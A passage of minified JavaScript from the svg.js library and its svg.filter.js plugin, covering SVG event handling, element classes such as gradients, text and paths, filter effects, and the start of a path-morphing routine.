a.on(this.node,t,e),this}})),a.listeners=[],a.handlerMap=[],a.listenerId=0,a.on=function(t,e,i,s,r){var o=i.bind(s||t.instance||t),n=(a.handlerMap.indexOf(t)+1||a.handlerMap.push(t))-1,l=e.split(".")[0],h=e.split(".")[1]||"*";a.listeners[n]=a.listeners[n]||{},a.listeners[n][l]=a.listeners[n][l]||{},a.listeners[n][l][h]=a.listeners[n][l][h]||{},i._svgjsListenerId||(i._svgjsListenerId=++a.listenerId),a.listeners[n][l][h][i._svgjsListenerId]=o,t.addEventListener(l,o,r||{passive:!0})},a.off=function(t,e,i){var s=a.handlerMap.indexOf(t),r=e&&e.split(".")[0],o=e&&e.split(".")[1],n="";if(-1!=s)if(i){if("function"==typeof i&&(i=i._svgjsListenerId),!i)return;a.listeners[s][r]&&a.listeners[s][r][o||"*"]&&(t.removeEventListener(r,a.listeners[s][r][o||"*"][i],!1),delete a.listeners[s][r][o||"*"][i])}else if(o&&r){if(a.listeners[s][r]&&a.listeners[s][r][o]){for(var l in a.listeners[s][r][o])a.off(t,[r,o].join("."),l);delete a.listeners[s][r][o]}}else if(o)for(var h in a.listeners[s])for(var n in a.listeners[s][h])o===n&&a.off(t,[h,o].join("."));else if(r){if(a.listeners[s][r]){for(var n in a.listeners[s][r])a.off(t,[r,n].join("."));delete a.listeners[s][r]}}else{for(var h in a.listeners[s])a.off(t,h);delete a.listeners[s],delete a.handlerMap[s]}},a.extend(a.Element,{on:function(t,e,i,s){return a.on(this.node,t,e,i,s),this},off:function(t,e){return a.off(this.node,t,e),this},fire:function(e,i){return e instanceof t.Event?this.node.dispatchEvent(e):this.node.dispatchEvent(e=new a.CustomEvent(e,{detail:i,cancelable:!0})),this._event=e,this},event:function(){return this._event}}),a.Defs=a.invent({create:"defs",inherit:a.Container}),a.G=a.invent({create:"g",inherit:a.Container,extend:{x:function(t){return null==t?this.transform("x"):this.transform({x:t-this.x()},!0)}},construct:{group:function(){return this.put(new a.G)}}}),a.Doc=a.invent({create:function(t){t&&("svg"==(t="string"==typeof t?e.getElementById(t):t).nodeName?this.constructor.call(this,t):(this.constructor.call(this,a.create("svg")),t.appendChild(this.node),this.size("100%","100%")),this.namespace().defs())},inherit:a.Container,extend:{namespace:function(){return this.attr({xmlns:a.ns,version:"1.1"}).attr("xmlns:xlink",a.xlink,a.xmlns).attr("xmlns:svgjs",a.svgjs,a.xmlns)},defs:function(){var t;return this._defs||((t=this.node.getElementsByTagName("defs")[0])?this._defs=a.adopt(t):this._defs=new a.Defs,this.node.appendChild(this._defs.node)),this._defs},parent:function(){return this.node.parentNode&&"#document"!=this.node.parentNode.nodeName?this.node.parentNode:null},remove:function(){return this.parent()&&this.parent().removeChild(this.node),this},clear:function(){for(;this.node.hasChildNodes();)this.node.removeChild(this.node.lastChild);return delete this._defs,a.parser.draw&&!a.parser.draw.parentNode&&this.node.appendChild(a.parser.draw),this},clone:function(t){this.writeDataToDom();var e=this.node,i=x(e.cloneNode(!0));return t?(t.node||t).appendChild(i.node):e.parentNode.insertBefore(i.node,e.nextSibling),i}}}),a.extend(a.Element,{}),a.Gradient=a.invent({create:function(t){this.constructor.call(this,a.create(t+"Gradient")),this.type=t},inherit:a.Container,extend:{at:function(t,e,i){return this.put(new a.Stop).update(t,e,i)},update:function(t){return this.clear(),"function"==typeof t&&t.call(this,this),this},fill:function(){return"url(#"+this.id()+")"},toString:function(){return this.fill()},attr:function(t,e,i){return"transform"==t&&(t="gradientTransform"),a.Container.prototype.attr.call(this,t,e,i)}},construct:{gradient:function(t,e){return this.defs().gradient(t,e)}}}),a.extend(a.Gradient,a.FX,{from:function(t,e){return"radial"==(this._target||this).type?this.attr({fx:new a.Number(t),fy:new a.Number(e)}):this.attr({x1:new a.Number(t),y1:new a.Number(e)})},to:function(t,e){return"radial"==(this._target||this).type?this.attr({cx:new a.Number(t),cy:new a.Number(e)}):this.attr({x2:new a.Number(t),y2:new a.Number(e)})}}),a.extend(a.Defs,{gradient:function(t,e){return this.put(new a.Gradient(t)).update(e)}}),a.Stop=a.invent({create:"stop",inherit:a.Element,extend:{update:function(t){return("number"==typeof t||t instanceof a.Number)&&(t={offset:arguments[0],color:arguments[1],opacity:arguments[2]}),null!=t.opacity&&this.attr("stop-opacity",t.opacity),null!=t.color&&this.attr("stop-color",t.color),null!=t.offset&&this.attr("offset",new a.Number(t.offset)),this}}}),a.Pattern=a.invent({create:"pattern",inherit:a.Container,extend:{fill:function(){return"url(#"+this.id()+")"},update:function(t){return this.clear(),"function"==typeof t&&t.call(this,this),this},toString:function(){return this.fill()},attr:function(t,e,i){return"transform"==t&&(t="patternTransform"),a.Container.prototype.attr.call(this,t,e,i)}},construct:{pattern:function(t,e,i){return this.defs().pattern(t,e,i)}}}),a.extend(a.Defs,{pattern:function(t,e,i){return this.put(new a.Pattern).update(i).attr({x:0,y:0,width:t,height:e,patternUnits:"userSpaceOnUse"})}}),a.Shape=a.invent({create:function(t){this.constructor.call(this,t)},inherit:a.Element}),a.Symbol=a.invent({create:"symbol",inherit:a.Container,construct:{symbol:function(){return this.put(new a.Symbol)}}}),a.Use=a.invent({create:"use",inherit:a.Shape,extend:{element:function(t,e){return this.attr("href",(e||"")+"#"+t,a.xlink)}},construct:{use:function(t,e){return this.put(new a.Use).element(t,e)}}}),a.Rect=a.invent({create:"rect",inherit:a.Shape,construct:{rect:function(t,e){return this.put(new a.Rect).size(t,e)}}}),a.Circle=a.invent({create:"circle",inherit:a.Shape,construct:{circle:function(t){return this.put(new a.Circle).rx(new a.Number(t).divide(2)).move(0,0)}}}),a.extend(a.Circle,a.FX,{rx:function(t){return this.attr("r",t)},ry:function(t){return this.rx(t)}}),a.Ellipse=a.invent({create:"ellipse",inherit:a.Shape,construct:{ellipse:function(t,e){return this.put(new a.Ellipse).size(t,e).move(0,0)}}}),a.extend(a.Ellipse,a.Rect,a.FX,{rx:function(t){return this.attr("rx",t)},ry:function(t){return this.attr("ry",t)}}),a.extend(a.Circle,a.Ellipse,{x:function(t){return null==t?this.cx()-this.rx():this.cx(t+this.rx())},y:function(t){return null==t?this.cy()-this.ry():this.cy(t+this.ry())},cx:function(t){return null==t?this.attr("cx"):this.attr("cx",t)},cy:function(t){return null==t?this.attr("cy"):this.attr("cy",t)},width:function(t){return null==t?2*this.rx():this.rx(new a.Number(t).divide(2))},height:function(t){return null==t?2*this.ry():this.ry(new a.Number(t).divide(2))},size:function(t,e){var i=u(this,t,e);return this.rx(new a.Number(i.width).divide(2)).ry(new a.Number(i.height).divide(2))}}),a.Line=a.invent({create:"line",inherit:a.Shape,extend:{array:function(){return new a.PointArray([[this.attr("x1"),this.attr("y1")],[this.attr("x2"),this.attr("y2")]])},plot:function(t,e,i,s){return null==t?this.array():(t=void 0!==e?{x1:t,y1:e,x2:i,y2:s}:new a.PointArray(t).toLine(),this.attr(t))},move:function(t,e){return this.attr(this.array().move(t,e).toLine())},size:function(t,e){var i=u(this,t,e);return this.attr(this.array().size(i.width,i.height).toLine())}},construct:{line:function(t,e,i,s){return a.Line.prototype.plot.apply(this.put(new a.Line),null!=t?[t,e,i,s]:[0,0,0,0])}}}),a.Polyline=a.invent({create:"polyline",inherit:a.Shape,construct:{polyline:function(t){return this.put(new a.Polyline).plot(t||new a.PointArray)}}}),a.Polygon=a.invent({create:"polygon",inherit:a.Shape,construct:{polygon:function(t){return this.put(new a.Polygon).plot(t||new a.PointArray)}}}),a.extend(a.Polyline,a.Polygon,{array:function(){return this._array||(this._array=new a.PointArray(this.attr("points")))},plot:function(t){return null==t?this.array():this.clear().attr("points","string"==typeof t?t:this._array=new a.PointArray(t))},clear:function(){return delete this._array,this},move:function(t,e){return this.attr("points",this.array().move(t,e))},size:function(t,e){var i=u(this,t,e);return this.attr("points",this.array().size(i.width,i.height))}}),a.extend(a.Line,a.Polyline,a.Polygon,{morphArray:a.PointArray,x:function(t){return null==t?this.bbox().x:this.move(t,this.bbox().y)},y:function(t){return null==t?this.bbox().y:this.move(this.bbox().x,t)},width:function(t){var e=this.bbox();return null==t?e.width:this.size(t,e.height)},height:function(t){var e=this.bbox();return null==t?e.height:this.size(e.width,t)}}),a.Path=a.invent({create:"path",inherit:a.Shape,extend:{morphArray:a.PathArray,array:function(){return this._array||(this._array=new a.PathArray(this.attr("d")))},plot:function(t){return null==t?this.array():this.clear().attr("d","string"==typeof t?t:this._array=new a.PathArray(t))},clear:function(){return delete this._array,this}},construct:{path:function(t){return this.put(new a.Path).plot(t||new a.PathArray)}}}),a.Image=a.invent({create:"image",inherit:a.Shape,extend:{load:function(e){if(!e)return this;var i=this,s=new t.Image;return a.on(s,"load",(function(){a.off(s);var t=i.parent(a.Pattern);null!==t&&(0==i.width()&&0==i.height()&&i.size(s.width,s.height),t&&0==t.width()&&0==t.height()&&t.size(i.width(),i.height()),"function"==typeof i._loaded&&i._loaded.call(i,{width:s.width,height:s.height,ratio:s.width/s.height,url:e}))})),a.on(s,"error",(function(t){a.off(s),"function"==typeof i._error&&i._error.call(i,t)})),this.attr("href",s.src=this.src=e,a.xlink)},loaded:function(t){return this._loaded=t,this},error:function(t){return this._error=t,this}},construct:{image:function(t,e,i){return this.put(new a.Image).load(t).size(e||0,i||e||0)}}}),a.Text=a.invent({create:function(){this.constructor.call(this,a.create("text")),this.dom.leading=new a.Number(1.3),this._rebuild=!0,this._build=!1,this.attr("font-family",a.defaults.attrs["font-family"])},inherit:a.Shape,extend:{x:function(t){return null==t?this.attr("x"):this.attr("x",t)},text:function(t){if(void 0===t){t="";for(var e=this.node.childNodes,i=0,s=e.length;i<s;++i)0!=i&&3!=e[i].nodeType&&1==a.adopt(e[i]).dom.newLined&&(t+="\n"),t+=e[i].textContent;return t}if(this.clear().build(!0),"function"==typeof t)t.call(this,this);else{i=0;for(var r=(t=t.split("\n")).length;i<r;i++)this.tspan(t[i]).newLine()}return this.build(!1).rebuild()},size:function(t){return this.attr("font-size",t).rebuild()},leading:function(t){return null==t?this.dom.leading:(this.dom.leading=new a.Number(t),this.rebuild())},lines:function(){var t=(this.textPath&&this.textPath()||this).node,e=a.utils.map(a.utils.filterSVGElements(t.childNodes),(function(t){return a.adopt(t)}));return new a.Set(e)},rebuild:function(t){if("boolean"==typeof t&&(this._rebuild=t),this._rebuild){var e=this,i=0,s=this.dom.leading*new a.Number(this.attr("font-size"));this.lines().each((function(){this.dom.newLined&&(e.textPath()||this.attr("x",e.attr("x")),"\n"==this.text()?i+=s:(this.attr("dy",s+i),i=0))})),this.fire("rebuild")}return this},build:function(t){return this._build=!!t,this},setData:function(t){return this.dom=t,this.dom.leading=new a.Number(t.leading||1.3),this}},construct:{text:function(t){return this.put(new a.Text).text(t)},plain:function(t){return this.put(new a.Text).plain(t)}}}),a.Tspan=a.invent({create:"tspan",inherit:a.Shape,extend:{text:function(t){return null==t?this.node.textContent+(this.dom.newLined?"\n":""):("function"==typeof t?t.call(this,this):this.plain(t),this)},dx:function(t){return this.attr("dx",t)},dy:function(t){return this.attr("dy",t)},newLine:function(){var t=this.parent(a.Text);return this.dom.newLined=!0,this.dy(t.dom.leading*t.attr("font-size")).attr("x",t.x())}}}),a.extend(a.Text,a.Tspan,{plain:function(t){return!1===this._build&&this.clear(),this.node.appendChild(e.createTextNode(t)),this},tspan:function(t){var e=(this.textPath&&this.textPath()||this).node,i=new a.Tspan;return!1===this._build&&this.clear(),e.appendChild(i.node),i.text(t)},clear:function(){for(var t=(this.textPath&&this.textPath()||this).node;t.hasChildNodes();)t.removeChild(t.lastChild);return this},length:function(){return this.node.getComputedTextLength()}}),a.TextPath=a.invent({create:"textPath",inherit:a.Parent,parent:a.Text,construct:{morphArray:a.PathArray,array:function(){var t=this.track();return t?t.array():null},plot:function(t){var e=this.track(),i=null;return e&&(i=e.plot(t)),null==t?i:this},track:function(){var t=this.textPath();if(t)return t.reference("href")},textPath:function(){if(this.node.firstChild&&"textPath"==this.node.firstChild.nodeName)return a.adopt(this.node.firstChild)}}}),a.Nested=a.invent({create:function(){this.constructor.call(this,a.create("svg")),this.style("overflow","visible")},inherit:a.Container,construct:{nested:function(){return this.put(new a.Nested)}}});var l={stroke:["color","width","opacity","linecap","linejoin","miterlimit","dasharray","dashoffset"],fill:["color","opacity","rule"],prefix:function(t,e){return"color"==e?t:t+"-"+e}};function h(t,e,i,s){return i+s.replace(a.regex.dots," .")}function c(t){return t.toLowerCase().replace(/-(.)/g,(function(t,e){return e.toUpperCase()}))}function d(t){return t.charAt(0).toUpperCase()+t.slice(1)}function g(t){var e=t.toString(16);return 1==e.length?"0"+e:e}function u(t,e,i){if(null==e||null==i){var a=t.bbox();null==e?e=a.width/a.height*i:null==i&&(i=a.height/a.width*e)}return{width:e,height:i}}function p(t,e,i){return{x:e*t.a+i*t.c+0,y:e*t.b+i*t.d+0}}function f(t){return{a:t[0],b:t[1],c:t[2],d:t[3],e:t[4],f:t[5]}}function x(e){for(var i=e.childNodes.length-1;i>=0;i--)e.childNodes[i]instanceof t.SVGElement&&x(e.childNodes[i]);return a.adopt(e).id(a.eid(e.nodeName))}function b(t){return Math.abs(t)>1e-37?t:0}["fill","stroke"].forEach((function(t){var e={};e[t]=function(e){if(void 0===e)return this;if("string"==typeof e||a.Color.isRgb(e)||e&&"function"==typeof e.fill)this.attr(t,e);else for(var i=l[t].length-1;i>=0;i--)null!=e[l[t][i]]&&this.attr(l.prefix(t,l[t][i]),e[l[t][i]]);return this},a.extend(a.Element,a.FX,e)})),a.extend(a.Element,a.FX,{translate:function(t,e){return this.transform({x:t,y:e})},matrix:function(t){return this.attr("transform",new a.Matrix(6==arguments.length?[].slice.call(arguments):t))},opacity:function(t){return this.attr("opacity",t)},dx:function(t){return this.x(new a.Number(t).plus(this instanceof a.FX?0:this.x()),!0)},dy:function(t){return this.y(new a.Number(t).plus(this instanceof a.FX?0:this.y()),!0)}}),a.extend(a.Path,{length:function(){return this.node.getTotalLength()},pointAt:function(t){return this.node.getPointAtLength(t)}}),a.Set=a.invent({create:function(t){Array.isArray(t)?this.members=t:this.clear()},extend:{add:function(){for(var t=[].slice.call(arguments),e=0,i=t.length;e<i;e++)this.members.push(t[e]);return this},remove:function(t){var e=this.index(t);return e>-1&&this.members.splice(e,1),this},each:function(t){for(var e=0,i=this.members.length;e<i;e++)t.apply(this.members[e],[e,this.members]);return this},clear:function(){return this.members=[],this},length:function(){return this.members.length},has:function(t){return this.index(t)>=0},index:function(t){return this.members.indexOf(t)},get:function(t){return this.members[t]},first:function(){return this.get(0)},last:function(){return this.get(this.members.length-1)},valueOf:function(){return this.members}},construct:{set:function(t){return new a.Set(t)}}}),a.FX.Set=a.invent({create:function(t){this.set=t}}),a.Set.inherit=function(){var t=[];for(var e in a.Shape.prototype)"function"==typeof a.Shape.prototype[e]&&"function"!=typeof a.Set.prototype[e]&&t.push(e);for(var e in t.forEach((function(t){a.Set.prototype[t]=function(){for(var e=0,i=this.members.length;e<i;e++)this.members[e]&&"function"==typeof this.members[e][t]&&this.members[e][t].apply(this.members[e],arguments);return"animate"==t?this.fx||(this.fx=new a.FX.Set(this)):this}})),t=[],a.FX.prototype)"function"==typeof a.FX.prototype[e]&&"function"!=typeof a.FX.Set.prototype[e]&&t.push(e);t.forEach((function(t){a.FX.Set.prototype[t]=function(){for(var e=0,i=this.set.members.length;e<i;e++)this.set.members[e].fx[t].apply(this.set.members[e].fx,arguments);return this}}))},a.extend(a.Element,{}),a.extend(a.Element,{remember:function(t,e){if("object"===i(arguments[0]))for(var a in t)this.remember(a,t[a]);else{if(1==arguments.length)return this.memory()[t];this.memory()[t]=e}return this},forget:function(){if(0==arguments.length)this._memory={};else for(var t=arguments.length-1;t>=0;t--)delete this.memory()[arguments[t]];return this},memory:function(){return this._memory||(this._memory={})}}),a.get=function(t){var i=e.getElementById(function(t){var e=(t||"").toString().match(a.regex.reference);if(e)return e[1]}(t)||t);return a.adopt(i)},a.select=function(t,i){return new a.Set(a.utils.map((i||e).querySelectorAll(t),(function(t){return a.adopt(t)})))},a.extend(a.Parent,{select:function(t){return a.select(t,this.node)}});var v="abcdef".split("");if("function"!=typeof t.CustomEvent){var m=function(t,i){i=i||{bubbles:!1,cancelable:!1,detail:void 0};var a=e.createEvent("CustomEvent");return a.initCustomEvent(t,i.bubbles,i.cancelable,i.detail),a};m.prototype=t.Event.prototype,a.CustomEvent=m}else a.CustomEvent=t.CustomEvent;return a},"function"==typeof define&&define.amd?define((function(){return Et(zt,zt.document)})):"object"===("undefined"==typeof exports?"undefined":i(exports))&&"undefined"!=typeof module?module.exports=zt.document?Et(zt,zt.document):function(t){return Et(t,t.document)}:zt.SVG=Et(zt,zt.document),
/*! svg.filter.js - v2.0.2 - 2016-02-24
  * https://github.com/wout/svg.filter.js
  * Copyright (c) 2016 Wout Fierens; Licensed MIT */
function(){SVG.Filter=SVG.invent({create:"filter",inherit:SVG.Parent,extend:{source:"SourceGraphic",sourceAlpha:"SourceAlpha",background:"BackgroundImage",backgroundAlpha:"BackgroundAlpha",fill:"FillPaint",stroke:"StrokePaint",autoSetIn:!0,put:function(t,e){return this.add(t,e),!t.attr("in")&&this.autoSetIn&&t.attr("in",this.source),t.attr("result")||t.attr("result",t),t},blend:function(t,e,i){return this.put(new SVG.BlendEffect(t,e,i))},colorMatrix:function(t,e){return this.put(new SVG.ColorMatrixEffect(t,e))},convolveMatrix:function(t){return this.put(new SVG.ConvolveMatrixEffect(t))},componentTransfer:function(t){return this.put(new SVG.ComponentTransferEffect(t))},composite:function(t,e,i){return this.put(new SVG.CompositeEffect(t,e,i))},flood:function(t,e){return this.put(new SVG.FloodEffect(t,e))},offset:function(t,e){return this.put(new SVG.OffsetEffect(t,e))},image:function(t){return this.put(new SVG.ImageEffect(t))},merge:function(){var t=[void 0];for(var e in arguments)t.push(arguments[e]);return this.put(new(SVG.MergeEffect.bind.apply(SVG.MergeEffect,t)))},gaussianBlur:function(t,e){return this.put(new SVG.GaussianBlurEffect(t,e))},morphology:function(t,e){return this.put(new SVG.MorphologyEffect(t,e))},diffuseLighting:function(t,e,i){return this.put(new SVG.DiffuseLightingEffect(t,e,i))},displacementMap:function(t,e,i,a,s){return this.put(new SVG.DisplacementMapEffect(t,e,i,a,s))},specularLighting:function(t,e,i,a){return this.put(new SVG.SpecularLightingEffect(t,e,i,a))},tile:function(){return this.put(new SVG.TileEffect)},turbulence:function(t,e,i,a,s){return this.put(new SVG.TurbulenceEffect(t,e,i,a,s))},toString:function(){return"url(#"+this.attr("id")+")"}}}),SVG.extend(SVG.Defs,{filter:function(t){var e=this.put(new SVG.Filter);return"function"==typeof t&&t.call(e,e),e}}),SVG.extend(SVG.Container,{filter:function(t){return this.defs().filter(t)}}),SVG.extend(SVG.Element,SVG.G,SVG.Nested,{filter:function(t){return this.filterer=t instanceof SVG.Element?t:this.doc().filter(t),this.doc()&&this.filterer.doc()!==this.doc()&&this.doc().defs().add(this.filterer),this.attr("filter",this.filterer),this.filterer},unfilter:function(t){return this.filterer&&!0===t&&this.filterer.remove(),delete this.filterer,this.attr("filter",null)}}),SVG.Effect=SVG.invent({create:function(){this.constructor.call(this)},inherit:SVG.Element,extend:{in:function(t){return null==t?this.parent()&&this.parent().select('[result="'+this.attr("in")+'"]').get(0)||this.attr("in"):this.attr("in",t)},result:function(t){return null==t?this.attr("result"):this.attr("result",t)},toString:function(){return this.result()}}}),SVG.ParentEffect=SVG.invent({create:function(){this.constructor.call(this)},inherit:SVG.Parent,extend:{in:function(t){return null==t?this.parent()&&this.parent().select('[result="'+this.attr("in")+'"]').get(0)||this.attr("in"):this.attr("in",t)},result:function(t){return null==t?this.attr("result"):this.attr("result",t)},toString:function(){return this.result()}}});var t={blend:function(t,e){return this.parent()&&this.parent().blend(this,t,e)},colorMatrix:function(t,e){return this.parent()&&this.parent().colorMatrix(t,e).in(this)},convolveMatrix:function(t){return this.parent()&&this.parent().convolveMatrix(t).in(this)},componentTransfer:function(t){return this.parent()&&this.parent().componentTransfer(t).in(this)},composite:function(t,e){return this.parent()&&this.parent().composite(this,t,e)},flood:function(t,e){return this.parent()&&this.parent().flood(t,e)},offset:function(t,e){return this.parent()&&this.parent().offset(t,e).in(this)},image:function(t){return this.parent()&&this.parent().image(t)},merge:function(){return this.parent()&&this.parent().merge.apply(this.parent(),[this].concat(arguments))},gaussianBlur:function(t,e){return this.parent()&&this.parent().gaussianBlur(t,e).in(this)},morphology:function(t,e){return this.parent()&&this.parent().morphology(t,e).in(this)},diffuseLighting:function(t,e,i){return this.parent()&&this.parent().diffuseLighting(t,e,i).in(this)},displacementMap:function(t,e,i,a){return this.parent()&&this.parent().displacementMap(this,t,e,i,a)},specularLighting:function(t,e,i,a){return this.parent()&&this.parent().specularLighting(t,e,i,a).in(this)},tile:function(){return this.parent()&&this.parent().tile().in(this)},turbulence:function(t,e,i,a,s){return this.parent()&&this.parent().turbulence(t,e,i,a,s).in(this)}};SVG.extend(SVG.Effect,t),SVG.extend(SVG.ParentEffect,t),SVG.ChildEffect=SVG.invent({create:function(){this.constructor.call(this)},inherit:SVG.Element,extend:{in:function(t){this.attr("in",t)}}});var e={blend:function(t,e,i){this.attr({in:t,in2:e,mode:i||"normal"})},colorMatrix:function(t,e){"matrix"==t&&(e=s(e)),this.attr({type:t,values:void 0===e?null:e})},convolveMatrix:function(t){t=s(t),this.attr({order:Math.sqrt(t.split(" ").length),kernelMatrix:t})},composite:function(t,e,i){this.attr({in:t,in2:e,operator:i})},flood:function(t,e){this.attr("flood-color",t),null!=e&&this.attr("flood-opacity",e)},offset:function(t,e){this.attr({dx:t,dy:e})},image:function(t){this.attr("href",t,SVG.xlink)},displacementMap:function(t,e,i,a,s){this.attr({in:t,in2:e,scale:i,xChannelSelector:a,yChannelSelector:s})},gaussianBlur:function(t,e){null!=t||null!=e?this.attr("stdDeviation",function(t){if(!Array.isArray(t))return t;for(var e=0,i=t.length,a=[];e<i;e++)a.push(t[e]);return a.join(" ")}(Array.prototype.slice.call(arguments))):this.attr("stdDeviation","0 0")},morphology:function(t,e){this.attr({operator:t,radius:e})},tile:function(){},turbulence:function(t,e,i,a,s){this.attr({numOctaves:e,seed:i,stitchTiles:a,baseFrequency:t,type:s})}},i={merge:function(){var t;if(arguments[0]instanceof SVG.Set){var e=this;arguments[0].each((function(t){this instanceof SVG.MergeNode?e.put(this):(this instanceof SVG.Effect||this instanceof SVG.ParentEffect)&&e.put(new SVG.MergeNode(this))}))}else{t=Array.isArray(arguments[0])?arguments[0]:arguments;for(var i=0;i<t.length;i++)t[i]instanceof SVG.MergeNode?this.put(t[i]):this.put(new SVG.MergeNode(t[i]))}},componentTransfer:function(t){if(this.rgb=new SVG.Set,["r","g","b","a"].forEach(function(t){this[t]=new(SVG["Func"+t.toUpperCase()])("identity"),this.rgb.add(this[t]),this.node.appendChild(this[t].node)}.bind(this)),t)for(var e in t.rgb&&(["r","g","b"].forEach(function(e){this[e].attr(t.rgb)}.bind(this)),delete t.rgb),t)this[e].attr(t[e])},diffuseLighting:function(t,e,i){this.attr({surfaceScale:t,diffuseConstant:e,kernelUnitLength:i})},specularLighting:function(t,e,i,a){this.attr({surfaceScale:t,diffuseConstant:e,specularExponent:i,kernelUnitLength:a})}},a={distantLight:function(t,e){this.attr({azimuth:t,elevation:e})},pointLight:function(t,e,i){this.attr({x:t,y:e,z:i})},spotLight:function(t,e,i,a,s,r){this.attr({x:t,y:e,z:i,pointsAtX:a,pointsAtY:s,pointsAtZ:r})},mergeNode:function(t){this.attr("in",t)}};function s(t){return Array.isArray(t)&&(t=new SVG.Array(t)),t.toString().replace(/^\s+/,"").replace(/\s+$/,"").replace(/\s+/g," ")}function r(){var t=function(){};for(var e in"function"==typeof arguments[arguments.length-1]&&(t=arguments[arguments.length-1],Array.prototype.splice.call(arguments,arguments.length-1,1)),arguments)for(var i in arguments[e])t(arguments[e][i],i,arguments[e])}["r","g","b","a"].forEach((function(t){a["Func"+t.toUpperCase()]=function(t){switch(this.attr("type",t),t){case"table":this.attr("tableValues",arguments[1]);break;case"linear":this.attr("slope",arguments[1]),this.attr("intercept",arguments[2]);break;case"gamma":this.attr("amplitude",arguments[1]),this.attr("exponent",arguments[2]),this.attr("offset",arguments[2])}}})),r(e,(function(t,e){var i=e.charAt(0).toUpperCase()+e.slice(1);SVG[i+"Effect"]=SVG.invent({create:function(){this.constructor.call(this,SVG.create("fe"+i)),t.apply(this,arguments),this.result(this.attr("id")+"Out")},inherit:SVG.Effect,extend:{}})})),r(i,(function(t,e){var i=e.charAt(0).toUpperCase()+e.slice(1);SVG[i+"Effect"]=SVG.invent({create:function(){this.constructor.call(this,SVG.create("fe"+i)),t.apply(this,arguments),this.result(this.attr("id")+"Out")},inherit:SVG.ParentEffect,extend:{}})})),r(a,(function(t,e){var i=e.charAt(0).toUpperCase()+e.slice(1);SVG[i]=SVG.invent({create:function(){this.constructor.call(this,SVG.create("fe"+i)),t.apply(this,arguments)},inherit:SVG.ChildEffect,extend:{}})})),SVG.extend(SVG.MergeEffect,{in:function(t){return t instanceof SVG.MergeNode?this.add(t,0):this.add(new SVG.MergeNode(t),0),this}}),SVG.extend(SVG.CompositeEffect,SVG.BlendEffect,SVG.DisplacementMapEffect,{in2:function(t){return null==t?this.parent()&&this.parent().select('[result="'+this.attr("in2")+'"]').get(0)||this.attr("in2"):this.attr("in2",t)}}),SVG.filter={sepiatone:[.343,.669,.119,0,0,.249,.626,.13,0,0,.172,.334,.111,0,0,0,0,0,1,0]}}.call(void 0),function(){function t(t,s,r,o,n,l,h){for(var c=t.slice(s,r||h),d=o.slice(n,l||h),g=0,u={pos:[0,0],start:[0,0]},p={pos:[0,0],start:[0,0]};;){if(c[g]=e.call(u,c[g]),d[g]=e.call(p,d[g]),c[g][0]!=d[g][0]||"M"==c[g][0]||"A"==c[g][0]&&(c[g][4]!=d[g][4]||c[g][5]!=d[g][5])?(Array.prototype.splice.apply(c,[g,1].concat(a.call(u,c[g]))),Array.prototype.splice.apply(d,[g,1].concat(a.call(p,d[g])))):(c[g]=i.call(u,c[g]),d[g]=i.call(p,d[g])),++g==c.length&&g==d.length)break;g==c.length&&c.push(["C",u.pos[0],u.pos[1],u.pos[0],u.pos[1],u.pos[0],u.pos[1]]),g==d.length&&d.push(["C",p.pos[0],p.pos[1],p.pos[0],p.pos[1],p.pos[0],p.pos[1]])}return{start:c,dest:d}}function e(t){switch(t[0]){case"z":case"Z":t[0]="L",t[1]=this.start[0],t[2]=this.start[1];break;case"H":t[0]="L",t[2]=this.pos[1];break;case"V":t[0]="L",t[2]=t[1],t[1]=this.pos[0];break;case"T":t[0]="Q",t[3]=t[1],t[4]=t[2],t[1]=this.reflection[1],t[2]=this.reflection[0];break;case"S":t[0]="C",t[6]=t[4],t[5]=t[3],t[4]=t[2],t[3]=t[1],t[2]=this.reflection[1],t[1]=this.reflection[0]}return t}function i(t){var e=t.length;return this.pos=[t[e-2],t[e-1]],-1!="SCQT".indexOf(t[0])&&(this.reflection=[2*this.pos[0]-t[e-4],2*this.pos[1]-t[e-3]]),t}function a(t){var e=[t];switch(t[0]){case"M":return this.pos=this.start=[t[1],t[2]],e;case"L":t[5]=t[3]=t[1],t[6]=t[4]=t[2],t[1]=this.pos[0],t[2]=this.pos[1];break;case"Q":t[6]=t[4],t[5]=t[3],t[4]=1*t[4]/3+2*t[2]/3,t[3]=1*t[3]/3+2*t[1]/3,t[2]=1*this.pos[1]/3+2*t[2]/3,t[1]=1*this.pos[0]/3+2*t[1]/3;break;case"A":e=function(t,e){var i,a,s,r,o,n,l,h,c,d,g,u,p,f,x,b,v,m,y,w,k,A,S,C,L,P,I=Math.abs(e[1]),T=Math.abs(e[2]),M=e[3]%360,X=e[4],z=e[5],E=e[6],Y=e[7],F=new SVG.Point(t),R=new SVG.Point(E,Y),H=[];if(0===I||0===T||F.x===R.x&&F.y===R.y)return[["C",F.x,F.y,R.x,R.y,R.x,R.y]];i=new SVG.Point((F.x-R.x)/2,(F.y-R.y)/2).transform((new SVG.Matrix).rotate(M)),(a=i.x*i.x/(I*I)+i.y*i.y/(T*T))>1&&(I*=a=Math.sqrt(a),T*=a);s=(new SVG.Matrix).rotate(M).scale(1/I,1/T).rotate(-M),F=F.transform(s),R=R.transform(s),r=[R.x-F.x,R.y-F.y],n=r[0]*r[0]+r[1]*r[1],o=Math.sqrt(n),r[0]/=o,r[1]/=o,l=n<4?Math.sqrt(1-n/4):0,X===z&&(l*=-1);h=new SVG.Point((R.x+F.x)/2+l*-r[1],(R.y+F.y)/2+l*r[0]),c=new SVG.Point(F.x-h.x,F.y-h.y),d=new SVG.Point(R.x-h.x,R.y-h.y),g=Math.acos(c.x/Math.sqrt(c.x*c.x+c.y*c.y)),c.y<0&&(g*=-1);u=Math.acos(d.x/Math.sqrt(d.x*d.x+d.y*d.y)),d.y<0&&(u*=-1);z&&g>u&&(u+=2*Math.PI);!z&&g<u&&(u-=2*Math.PI);for(f=Math.ceil(2*Math.abs(g-u)/Math.PI),b=[],v=g,p=(u-g)/f,x=4*Math.tan(p/4)/3,k=0;k<=f;k++)y=Math.cos(v),m=Math.sin(v),w=new SVG.Point(h.x+y,h.y+m),b[k]=[new SVG.Point(w.x+x*m,w.y-x*y),w,new SVG.Point(w.x-x*m,w.y+x*y)],v+=p;for(b[0][0]=b[0][1].clone(),b[b.length-1][2]=b[b.length-1][1].clone(),s=(new 